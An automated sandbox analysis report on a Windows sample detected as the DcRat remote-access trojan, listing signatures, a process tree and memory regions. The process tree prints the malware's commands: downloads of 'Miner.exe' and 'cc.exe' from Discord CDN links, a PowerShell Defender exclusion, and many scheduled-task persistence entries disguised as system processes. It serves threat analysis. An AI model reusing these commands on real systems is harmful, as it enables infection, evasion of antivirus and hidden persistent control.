Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    07/07/2021, 08:07

General

  • Target
    fcdd36fea59663dd97eb71087a061ce8.exe
  • Size 391KB
  • Sample210707-8mlynqv89e
  • SHA256 9d88e62b7da45ea1be4c02dec30b6a31b53d42c31d1785f4a992e55c0147d825
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • DCRat Payload 7 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe
    "C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\1DE0.bat C:\Users\Admin\AppData\Local\Temp\fcdd36fea59663dd97eb71087a061ce8.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1456
      • C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/861175806071275521/862198260986937354/Miner.exe" "Miner.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2160
      • C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/861175806071275521/861922733532774430/cc.exe" "cc.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2868
      • C:\Users\Admin\AppData\Local\Temp\28675\Miner.exe
        Miner.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4020
        • C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
          "C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3964
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBED1.tmp.cmd""
            5⤵
              PID:2300
              • C:\Windows\system32\timeout.exe
                timeout 4
                6⤵
                • Delays execution with timeout.exe
                PID:2888
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2084
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBED2.tmp.cmd""
              5⤵
                PID:1156
                • C:\Windows\system32\timeout.exe
                  timeout 4
                  6⤵
                  • Delays execution with timeout.exe
                  PID:2376
                • C:\Windows\system32\schtasks.exe
                  schtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe"'
                  6⤵
                  • Creates scheduled task(s)
                  PID:988
          • C:\Users\Admin\AppData\Local\Temp\28675\cc.exe
            cc.exe
            3⤵
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:3868
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\FontSavesperfsvc\2znK0l6JhVTbQbA.vbe"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4052
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\FontSavesperfsvc\dZM0EoA4ORDa8.bat" "
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3108
                • C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe
                  "C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe"
                  6⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1156
                  • C:\Windows\SYSTEM32\schtasks.exe
                    "schtasks" /create /tn "SearchUI" /sc ONLOGON /tr "'C:\ProgramData\SoftwareDistribution\SearchUI.exe'" /rl HIGHEST /f
                    7⤵
                    • Creates scheduled task(s)
                    PID:3564
                  • C:\Windows\SYSTEM32\schtasks.exe
                    "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\prvdmofcomp\conhost.exe'" /rl HIGHEST /f
                    7⤵
                    • Creates scheduled task(s)
                    PID:3160
                  • C:\Windows\SYSTEM32\schtasks.exe
                    "schtasks" /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\winrs\fontdrvhost.exe'" /rl HIGHEST /f
                    7⤵
                    • Creates scheduled task(s)
                    PID:3116
                  • C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe
                    "C:\FontSavesperfsvc\FontSavesperfsvcfontrefSession.exe"
                    7⤵
                    • Executes dropped EXE
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • Modifies registry class
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2436
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:1456
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "taskhostw" /sc ONLOGON /tr "'C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:4060
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "System" /sc ONLOGON /tr "'C:\Documents and Settings\System.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:1152
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\uudf\winlogon.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:1320
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\WmiPrvSE.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:3672
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\explorer.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:2016
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\spoolsv.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:3952
                    • C:\Windows\SYSTEM32\schtasks.exe
                      "schtasks" /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\scansetting\dllhost.exe'" /rl HIGHEST /f
                      8⤵
                      • Creates scheduled task(s)
                      PID:3396
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZvMe9VllOp.bat"
                      8⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2908
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        9⤵
                          PID:2580
                        • C:\Windows\system32\PING.EXE
                          ping -n 5 localhost
                          9⤵
                          • Runs ping.exe
                          PID:3948
                        • C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe
                          "C:\ProgramData\Microsoft OneDrive\setup\taskhostw.exe"
                          9⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1080
            • C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe
              C:\Users\Admin\AppData\Local\Temp\1DDE.tmp\1DDF.tmp\extd.exe "" "" "" "" "" "" "" "" ""
              3⤵
              • Executes dropped EXE
              PID:928
        • C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
          C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\MicrosoftApi.exe
          1⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3868
          • C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\ScreanDriver.exe
            "C:\Users\Admin\AppData\Roaming\ServiceMicrosoftApi\ScreanDriver.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1980

        Network

              MITRE ATT&CK Enterprise v6

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              Downloads

              memory/1080-176-0x0000000001450000-0x0000000001452000-memory.dmp

              memory/1156-144-0x000000001AFD0000-0x000000001AFD2000-memory.dmp

              memory/1156-142-0x0000000000320000-0x0000000000321000-memory.dmp

              memory/1980-235-0x000001B5FBBD2000-0x000001B5FBBD4000-memory.dmp

              memory/1980-236-0x000001B5FBBD4000-0x000001B5FBBD6000-memory.dmp

              memory/1980-234-0x000001B5FBBD0000-0x000001B5FBBD2000-memory.dmp

              memory/1980-232-0x000001B5E15C0000-0x000001B5E15C1000-memory.dmp

              memory/2084-221-0x0000021BF4918000-0x0000021BF4919000-memory.dmp

              memory/2084-217-0x0000021BF4916000-0x0000021BF4918000-memory.dmp

              memory/2084-192-0x0000021BF4910000-0x0000021BF4912000-memory.dmp

              memory/2084-194-0x0000021BF4913000-0x0000021BF4915000-memory.dmp

              memory/2084-193-0x0000021BF4C10000-0x0000021BF4C11000-memory.dmp

              memory/2084-189-0x0000021BF48E0000-0x0000021BF48E1000-memory.dmp

              memory/2436-153-0x0000000002730000-0x0000000002732000-memory.dmp

              memory/3868-228-0x0000020E38F10000-0x0000020E38F11000-memory.dmp

              memory/3868-226-0x0000020E38FD0000-0x0000020E38FD2000-memory.dmp

              memory/4020-127-0x0000019FA63C0000-0x0000019FA63C1000-memory.dmp